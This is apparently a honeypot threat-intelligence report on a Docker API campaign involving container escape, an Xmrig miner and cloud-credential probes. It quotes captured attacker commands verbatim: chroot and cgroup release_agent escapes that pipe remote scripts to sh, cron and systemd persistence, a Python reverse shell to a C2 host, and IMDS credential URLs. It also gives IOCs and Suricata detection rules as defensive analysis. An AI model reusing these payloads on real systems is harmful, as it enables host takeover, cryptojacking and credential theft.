TLP:CLEAR

Docker API escape + cryptominer campaign

A 42-day Docker API exploitation campaign combining container-escape techniques, a dormant Xmrig cryptominer sub-cluster, and a one-shot cloud-credential probe

Published 2026-06-24 Source Distributed SSH/Telnet Honeypot Fleet Confidence HIGH Classification HIGH severity / ACTIVE campaign
212K+
commands logged
42d
active window
7
C2 / distrib IPs
5
escape techniques

Last updated 2026-07-02.

Executive summary

One attacker spent weeks breaking out of Docker containers onto the host machine underneath them, trying five different escape routes and logging well over 200,000 commands along the way. A separate group used the same exposed API to install a full cryptomining toolchain, and a third opportunist made a single grab at cloud credentials through the same door. By the time of this update, two of those three actors had gone quiet, while the original exploiter kept going, just far slower than at its peak.

Over a 42-day window (2026-05-21 through 2026-07-01), sensors observed a sustained campaign targeting exposed Docker APIs. The primary actor (45.198.224.5) generated over 208,000 commands across 30 sensors, employing five distinct container escape techniques — chroot /host, chroot /hostfs, chroot /mnt, cgroup release_agent exploitation, and cron persistence on the host filesystem. The escaped payload downloads and executes a script from 5.182.210.61 via base64-encoded commands, establishing both immediate and recurring persistence. Command volume peaked at 28,000–30,000/day on 2026-06-15/16, then declined roughly 88% to ~3,500/day by 2026-07-01 — the actor remains active but has throttled back sharply from peak. VirusTotal now flags the earliest captured loader variant (first seen 2026-06-15) as downloader.bashdlod/gen2 (15/62 engines); two later same-family variants (06-22, 06-29) are not yet indexed by any engine.

A second cluster of actors (120.26.46.187, 45.76.202.47, 115.29.236.117, 31.56.48.179) deploys a full Xmrig cryptominer toolchain with config file, scanner binary, cron + systemd persistence, and a Python reverse shell on TCP port 666, cross-fetching payloads from one another's IPs rather than each self-hosting. A fifth address, 198.13.47.111, is baked into several of these payloads as a fetch/callback target but has no confirmed inbound session of its own in our sensor data — it is C2/distribution infrastructure, not a fourth attacking IP. This sub-cluster's most recent confirmed activity was 2026-07-01. Separately, a distinct actor (157.245.241.172) used the same exposed Docker API to probe AWS instance metadata for IAM credentials on 2026-06-30 — a one-shot credential-theft attempt unrelated to the primary exploiter or the Xmrig cluster. VMware/ONVIF infrastructure probing was also observed earlier in the campaign.

Threat actor profile

AttributeAssessment
Primary IP45.198.224.5 — 208,790 Docker commands across 30 sensors over a 42-day sustained campaign; volume has since declined sharply from its mid-June peak (see Executive Summary)
Secondary cluster4 IPs deploying Xmrig + reverse shell toolchain, cross-fetching from a 5th referenced C2/distribution host (198.13.47.111) — dormant since 2026-07-01
Tertiary actor157.245.241.172 — one-shot AWS IMDS credential-theft probe via same exposed API, 2026-06-30
SophisticationHigh — multiple container escape methods, cgroup exploitation, multi-layer persistence
IntentCryptomining (Xmrig, now dormant), persistent access (reverse shell + cron + systemd), cloud credential theft
First observed2026-05-21
Last observed2026-07-01 (active, declining volume)

Infrastructure analysis

  ┌─────────────────────────────────────────────────────────────────┐
  │  Docker API exploitation + container escape                     │
  └─────────────────────────────────────────────────────────────────┘

  Attacker 45.198.224.5 ──▶ Docker API (exposed :2375/:2376)
       │
       ├── chroot /host       ──▶ host filesystem
       ├── chroot /hostfs     ──▶ host filesystem (alt mount)
       ├── chroot /mnt        ──▶ mounted volumes
       ├── cgroup release_agent ──▶ kernel-level escape
       └── /host/etc/cron.d/pwn  ──▶ cron persistence on host

       All paths execute:
         base64 → wget -O- http://5.182.210.61/ok | sh
                  || curl -s http://5.182.210.61/ok | sh

  ┌─────────────────────────────────────────────────────────────────┐
  │  Xmrig miner + reverse shell cluster (separate actors + a       │
  │  shared distribution/callback host, 198.13.47.111)              │
  └─────────────────────────────────────────────────────────────────┘

  198.13.47.111:80    ──▶ .real_mnd (miner), .mconf (config),
  120.26.46.187:80    ──▶ scanner-bin (self-propagation)
  45.76.202.47:80     ──▶ w (cron-persisted wrapper)
  115.29.236.117:80   ──▶ arch-specific: arm64/xmrigMiner, i386/xmrigMiner
  31.56.48.179:80     ──▶
       │
       ├── /tmp/xm (miner binary)
       ├── /tmp/xc (config file)
       ├── /tmp/.s (scanner binary)
       ├── /etc/cron.d/net-check (cron persistence, 1-min interval)
       ├── kernel-audit.service (systemd persistence, auto-restart)
       └── TCP:666 (Python reverse shell, 30s retry loop)
  

C2 / distribution infrastructure

IPRolePath / PortNotes
5.182.210.61Payload distribution/okPrimary Docker escape payload server
45.205.1.59Payload distribution/okSecondary payload server (base64 variant)
198.13.47.111Xmrig C2 + distrib (referenced only):80 + :666Miner, config, scanner, reverse-shell target embedded in other cluster members' commands — no confirmed inbound session from this IP itself
120.26.46.187Xmrig C2 + distrib:80 + :666Same toolchain, adds systemd service
45.76.202.47Xmrig C2 + distrib:80 + :666Same toolchain
115.29.236.117Xmrig distrib:80Arch-adaptive: selects binary by uname -m
31.56.48.179Xmrig C2 + distrib:80 + :666Same toolchain
45.198.224.5Scanner / exploiter208,790+ Docker API commands, 42-day sustained

Container escape techniques

1. chroot /host, /hostfs, /mnt

The attacker attempts three filesystem mount paths to reach the host filesystem from within the container. Each variant executes the same base64-encoded payload:

# Direct execution (21,469 times)
echo d2dldCAtTy0gaHR0cDovLzUuMTgyLjIxMC42MS9vayB8IHNoIHx8IG...
    |base64 -d|sh

# chroot /host (35,937 times)
chroot /host sh -c "echo d2dldCAtTy0gaHR0cDovLzUuMTgyLjIxMC42MS9vayB8...
    |base64 -d|sh"

# chroot /hostfs (16,836 times)
chroot /hostfs sh -c "echo d2dldCAtTy0gaHR0cDovLzUuMTgyLjIxMC42MS9vayB8...
    |base64 -d|sh"

# chroot /mnt (16,318 times)
chroot /mnt sh -c 'echo d2dldCAtTy0gaHR0cDovLzUuMTgyLjIxMC42MS9vayB8...
    |base64 -d|sh'

# Decoded payload:
wget -O- http://5.182.210.61/ok | sh || curl -s http://5.182.210.61/ok | sh

2. cgroup release_agent escape

A kernel-level container escape exploiting the cgroup release_agent feature. The attacker writes a payload to /cmd, registers it as the cgroup release agent, then triggers cgroup notification to execute it on the host:

d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null | head -n1))
[ -z "$d" ] && exit 1
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
hp=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
printf '#!/bin/sh\n%s\n' "wget -O- http://5.182.210.61/ok|sh||curl -s http://5.182.210.61/ok|sh" > /cmd
chmod +x /cmd
echo "$hp/cmd" > $d/release_agent
sh -c "echo \$\$ > $d/w/cgroup.procs"

3. Cron persistence on host

# Write to host's cron directory (688 times)
printf '%s\n' "* * * * * root wget -O- http://5.182.210.61/ok|sh||curl -s http://5.182.210.61/ok|sh" \
  > /host/etc/cron.d/pwn
chmod 644 /host/etc/cron.d/pwn

4. Loop persistence (nohup + chroot)

# Decoded: while true;do wget -O- http://5.182.210.61/ok|sh||curl -s http://5.182.210.61/ok|sh;sleep 300;done
chroot /host sh -c "while true;do wget -O- http://5.182.210.61/ok|sh||curl -s http://5.182.210.61/ok|sh;sleep 300;done"

5. Additional variants

The attacker also uses eval $(echo ... | base64 -d), busybox sh -c, nohup ... >/dev/null 2>&1 &, and writes scripts to /host/p.sh and /mnt/p.sh with chmod 777 — maximizing the chance of successful execution across heterogeneous Docker configurations.

Xmrig cryptominer deployment chain

A separate cluster of IPs deploys a full Xmrig toolchain via the Docker API. Representative payload (observed from 45.76.202.47; 198.13.47.111 is the embedded fetch/callback target, not the sending IP):

# 1. Download miner + config + scanner (multi-method fallback)
curl -sLo /tmp/xm http://198.13.47.111:80/.real_mnd
wget -q -O /tmp/xm http://198.13.47.111:80/.real_mnd
curl -sLo /tmp/xc http://198.13.47.111:80/.mconf
wget -q -O /tmp/xc http://198.13.47.111:80/.mconf

# 2. Launch miner
chmod +x /tmp/xm
/tmp/xm -c /tmp/xc >/dev/null 2>&1 &

# 3. Launch scanner (self-propagation)
curl -sLo /tmp/.s http://198.13.47.111:80/scanner-bin
chmod +x /tmp/.s
/tmp/.s >/dev/null 2>&1 &

# 4. Cron persistence (1-minute interval)
echo '*/1 * * * * root (curl -sLo /tmp/.w http://198.13.47.111:80/w)&&sh /tmp/.w' \
  > /etc/cron.d/net-check

# 5. Systemd persistence (auto-restart)
cat > /etc/systemd/system/kernel-audit.service << 'UNIT'
[Unit]
Description=Kernel Audit
After=network.target
[Service]
Type=simple
ExecStart=/bin/sh -c "(curl -sLo /tmp/.w http://120.26.46.187:80/w)&&sh /tmp/.w"
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
UNIT
systemctl daemon-reload
systemctl enable --now kernel-audit.service

# 6. Python reverse shell (TCP:666, 30s retry)
while true; do
  python3 -c "import socket,subprocess,os; s=socket.socket(); s.settimeout(30); \
    s.connect(('198.13.47.111',666)); os.dup2(s.fileno(),0); \
    os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); \
    subprocess.call(['/bin/sh','-i'])" 2>/dev/null
  sleep 30
done

Cloud metadata exfiltration

# AWS IMDSv1 (no token required)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/info

# GCP metadata (requires Metadata-Flavor: header — attacker likely adds it)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Infrastructure probing

The attacker also probes for VMware vSphere SOAP APIs and ONVIF device management:

# VMware vSphere ServiceInstance discovery
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <RetrieveServiceContent xmlns="urn:internalvim25">
      <_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this>
    </RetrieveServiceContent>
  </soap:Body>
</soap:Envelope>

# ONVIF device info
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:tds="http://www.onvif.org/ver10/device/wsdl">
  <s:Body><tds:GetDeviceInformation/></s:Body>
</s:Envelope>

Sample analysis

Three sha256-distinct variants of the same loader script (identical shape: multi-arch fallback fetching numbered binaries from the distro server) have been captured. Only the oldest has enough VirusTotal scan history to be flagged:

SHA256First SeenSizeVT DetectionsFamily
1f59062d...53f432026-06-151,644B 15/62 downloader.bashdlod/gen2
ec939c3d...4ed66532026-06-221,584B not yet indexed
7605f0bc...9fc4a82026-06-291,584B not yet indexed

The loader itself fetches multiple arch-specific binaries by numeric ID (e.g. /37f192, /52c071, /dfb8e7, /fac0ee) from the same distribution host — none of these binaries have been recovered, as the distro server rotates the numbered paths faster than our 5-minute dropper-chase cycle can retrieve them (all attempts return HTTP 404 by pickup time). An open-directory probe against 5.182.210.61 confirmed the server is a Go-based HTTP server with an open, browsable document root — still live and reachable as of this update. The file count drifts as the operator rotates payloads, so no single-point-in-time figure is cited here.

MITRE ATT&CK mapping

IDTechniqueEvidence
T1611Escape to Hostchroot /host, /hostfs, /mnt; cgroup release_agent
T1053.003Cron/etc/cron.d/net-check, /host/etc/cron.d/pwn
T1543.002Systemd Servicekernel-audit.service with auto-restart
T1496Resource HijackingXmrig miner deployment with config file
T1552.005Cloud Instance Metadata APIAWS IMDS + GCP metadata endpoint probing
T1105Ingress Tool Transferwget/curl/python urllib downloads from C2
T1071.001Web Protocols (C2)HTTP downloads from 5 C2 IPs; Python reverse shell on TCP:666
T1059.006PythonPython reverse shell with socket/subprocess
T1140Deobfuscate/Decode Files or Informationecho <base64> | base64 -d | sh across all escape variants

Campaign timeline

DateEvent
2026-05-21First Docker escape commands observed. 45.198.224.5 begins sustained campaign (corrects earlier 05-25 first-seen estimate).
2026-05-27VMware SOAP + ONVIF probing observed alongside Docker exploits.
2026-06-15 / 06-16Command volume spikes to 28,000–30,000/day, the campaign's peak (up from a few hundred/day baseline). Loader variant captured same day is the only one later flagged by VirusTotal (15/62).
2026-06-16Xmrig cluster begins miner deployment (120.26.46.187 first observed; corrects earlier 05-25 estimate).
2026-06-23Xmrig cluster adds 115.29.236.117 with arch-adaptive binary selection (corrects earlier 06-05 estimate).
2026-06-24Prior report published. Campaign still active at high volume.
2026-06-30Distinct actor 157.245.241.172 hits the same exposed Docker API on 8 sensors within ~110 seconds, probing 169.254.169.254/latest/meta-data/iam/security-credentials/ for AWS IAM credentials — a separate, one-shot-per-sensor credential-theft attempt (one earlier isolated probe from the same IP was also observed on 06-29).
2026-07-01Command volume down to ~3,500/day (~88% below peak) but 45.198.224.5 remains active on 24 sensors. This is also the Xmrig/scanner cluster's last confirmed activity (120.26.46.187 fetching from cluster-mate 31.56.48.179); no further cluster sightings after this date. Open-directory probe confirms 5.182.210.61 still live and serving files.

Indicators of compromise

Network — IPs

45.198.224.5 — primary Docker API scanner/exploiter (active)
5.182.210.61 — payload distribution (Docker escape) — confirmed live open directory, still reachable as of this update
45.205.1.59 — secondary payload distribution
198.13.47.111 — Xmrig C2 + distrib + reverse-shell target (:666), embedded in other actors' payloads — no confirmed inbound session; referenced 2026-06-21 to 2026-06-24
120.26.46.187 — Xmrig C2 + distrib + systemd persistence — dormant since 2026-07-01
45.76.202.47 — Xmrig C2 + distrib — dormant since 2026-06-21
115.29.236.117 — Xmrig distrib (arch-adaptive) — dormant since 2026-06-30
31.56.48.179 — Xmrig C2 + distrib — single confirmed inbound session 2026-06-24; referenced as a fetch target by cluster-mates through 2026-07-01
157.245.241.172 — tertiary actor, AWS IMDS credential-theft probe only (2026-06-30, one-shot)

File hashes — SHA256

1f59062d4fc7ecbdc1a9f1f1b0d7e21eaef03be745ab980bcec951e6a0153f43 — VT 15/62, downloader.bashdlod/gen2
ec939c3d583d1eb605148bf3f06bea20a34138e1439e697d676063b2a4ed6653 — VT not yet indexed
7605f0bc1d3f4125d61b761e10627cd0795afe806c5cefea55cb75a36a9fc4a8 — VT not yet indexed

Network — URLs

http://5.182.210.61/ok
http://45.205.1.59/ok
http://198.13.47.111:80/.real_mnd
http://198.13.47.111:80/.mconf
http://198.13.47.111:80/scanner-bin
http://198.13.47.111:80/w
http://120.26.46.187:80/.real_mnd
http://120.26.46.187:80/.mconf

Host — persistence artifacts

/etc/cron.d/net-check — cron entry (1-min interval, Xmrig wrapper)
/host/etc/cron.d/pwn — cron entry on host (1-min interval)
/etc/systemd/system/kernel-audit.service — systemd unit (auto-restart, Xmrig wrapper)
/tmp/xm, /tmp/xc, /tmp/.s, /tmp/.w — miner, config, scanner, wrapper

Network — C2 port

TCP:666 — Python reverse shell (30s retry loop)

Cloud metadata endpoints probed

http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/info
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Detection signatures

Suricata — Docker API base64 payload

alert http $EXTERNAL_NET any -> $HOME_NET any (
  msg:"cowrAI Docker API base64-encoded payload injection";
  flow:to_server,established;
  http.request_body; content:"d2dldCAt"; 
  content:"base64"; distance:0;
  content:"chroot"; nocase;
  threshold:type both, track by_src, count 3, seconds 60;
  classtype:trojan-activity; sid:9003010001; rev:1;
)

Suricata — cgroup release_agent escape

alert http $EXTERNAL_NET any -> $HOME_NET any (
  msg:"cowrAI Docker cgroup release_agent container escape";
  flow:to_server,established;
  http.request_body; content:"notify_on_release";
  content:"release_agent"; distance:0;
  content:"cgroup.procs"; distance:0;
  classtype:trojan-activity; sid:9003010002; rev:1;
)

Suricata — Xmrig C2 beacon (TCP:666)

alert tcp $HOME_NET any -> $EXTERNAL_NET 666 (
  msg:"cowrAI Docker Xmrig reverse shell C2 beacon";
  flow:to_server,established;
  dsize:<200;
  threshold:type both, track by_src, count 5, seconds 150;
  classtype:trojan-activity; sid:9003010003; rev:1;
)

Suricata — Cloud metadata exfiltration

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"cowrAI Cloud metadata exfiltration from container";
  flow:to_server,established;
  http.host; content:"169.254.169.254";
  http.uri; content:"/iam/security-credentials/";
  classtype:trojan-activity; sid:9003010004; rev:1;
)

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"cowrAI GCP metadata exfiltration from container";
  flow:to_server,established;
  http.host; content:"metadata.google.internal";
  http.uri; content:"/service-accounts/default/token";
  classtype:trojan-activity; sid:9003010005; rev:1;
)

Collection methodology

Data collected by a distributed honeypot fleet running custom protocol lures that emulate exposed Docker APIs. All commands were captured at the application layer and ingested into a time-series database for analysis. The lures emulate a Docker API endpoint accepting container management commands; attacker commands are logged verbatim including base64-encoded payloads, which were decoded offline for this report.